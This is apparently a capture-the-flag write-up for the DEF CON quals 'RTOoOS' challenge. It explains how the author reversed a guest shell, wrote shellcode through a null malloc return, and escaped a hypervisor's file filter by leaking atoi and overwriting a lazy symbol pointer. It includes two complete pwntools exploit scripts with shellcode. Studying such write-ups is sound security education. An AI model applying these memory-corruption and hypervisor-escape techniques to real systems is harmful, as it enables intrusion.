This is the challenge where, during the DEF CON quals, I grabbed the flag by brute-forcing with about 10 minutes left on the clock. Back then I couldn’t analyze it properly and hand-waved past a lot of it, so I went back and re-analyzed it. (Wondering whether it could be solved without brute force, I looked up other teams’ write-ups — they were all the same, lol.)
Solution
Analyzing the user program
The heart of this challenge is reversing.
➜ rtooos file crux
crux: data
They give you a data file, which you can load into IDA and analyze as code. In IDA every function is of the form sub_xxx. You can’t do dynamic debugging either, so you have to do static analysis — connecting to the remote and renaming functions by intuition.
CS420 - Homework 1
Student: Kurt Mandl
Submission Stardate 37357.84908798814
[RTOoOS>
It’s a simple shell program. (The challenge seems themed on a college homework assignment.)

Above is the part that handles export. Since these are environment variables, they’re naturally handled as key-value pairs. The first for loop updates all existing environment variables that share the same name. The second for loop then adds new key-value pairs. (There’s also logic that handles the special environment-variable character $, and it looked like it might be usable to trigger a buffer overflow — but I didn’t use it in the exploit.)
The value is written into memory allocated by malloc. There’s something odd about that malloc.

It can return null. When that happens, you can write to address 0x0 in the virtual-memory region. If the hypervisor had chosen a different offset this would be unsolvable, but fortunately it didn’t.
Actually allocating some variable a,

and printing the value to compare against the data file,

shows they’re identical.

There’s a function at address 0x100,

and it’s called from malloc. Praying that this memory region has both write and execute permissions, I overwrite shellcode into it.
from pwn import *
import time
#context.log_level='DEBUG'
context.arch="amd64"
shellcode = '''
//readFile(0x1508)
xor rax, rax
add rax, 0x1508
mov edi, 0x66
out dx, al
'''
shellcode = asm(shellcode)
payload = "\x90"*0x100
payload += shellcode
p = process(['honcho', 'crux', '20'])
# allocate at 0x0
for i in xrange(7):
p.sendlineafter("[RTOoOS> ", 'export a')
p.sendlineafter("[RTOoOS> ", 'export a=%s' % payload)
p.interactive()

This lets us read out the hypervisor.
Analyzing the hypervisor
The core code of the hypervisor is as follows.

It’s structured as hypercalls. If you try to read the flag file, it filters you out, so we need to bypass that. You can bypass it by changing the lazy symbol pointer of strcasestr to atoi.
But at this point we can only execute code — we don’t know any memory addresses. So we need a memory leak, and here a bit of brute force is required. I’m not sure whether it’s specific to this challenge’s environment, but from a few tests, on macOS the offset difference between the code region and the heap region was fixed. (This difference seems to change on each boot.) By brute-forcing based on the vm_mem value to compute the offset difference, we can learn the base address of the remote service’s code region, and with that we can patch the lazy symbol pointer table.
Exploit Code
from pwn import *
import time
#context.log_level='DEBUG'
context.arch="amd64"
'''
seg000:0000000000001508 a2 db 'honcho',0
'''
vmemAddr = 0x100002318
bin_base = 0x100000000
vmem = 0x100096000 # different offset between code & heap per booting.
atoi_got = 0x100002040
filt_got = 0x100002170
shellcode = '''
/*
//readFile(0x1508)
xor rax, rax
add rax, 0x1508
mov edi, 0x66
out dx, al
*/
// puts(atoi_got)
xor rax, rax
sub rax, %s
mov edi, 0x64
out dx, al
// read(0, filt_got, ...)
xor rax, rax
sub rax, %s
mov edi, 0x63
out dx, al
// read(0, flag, ...)
xor rax, rax
add rax, 0x1000
mov edi, 0x63
out dx, al
// ReadFile(flag)
xor rax, rax
add rax, 0x1000
mov edi, 0x66
out dx, al
''' % (hex(vmem - atoi_got), hex(vmem - filt_got))
shellcode = asm(shellcode)
payload = "\x90"*0x100
payload += shellcode
p = process(['honcho', 'crux', '20'])
# allocate at 0x0
for i in xrange(7):
p.sendlineafter("[RTOoOS> ", 'export a')
p.sendlineafter("[RTOoOS> ", 'export a=%s' % payload)
atoi = u64(p.recvuntil("\x7f\x0a")[-7:-1].ljust(8,"\x00"))
log.info("atoi = 0x%x" % atoi)
p.send(p64(atoi))
time.sleep(0.1)
p.send('flag\x00')
p.interactive()
Result
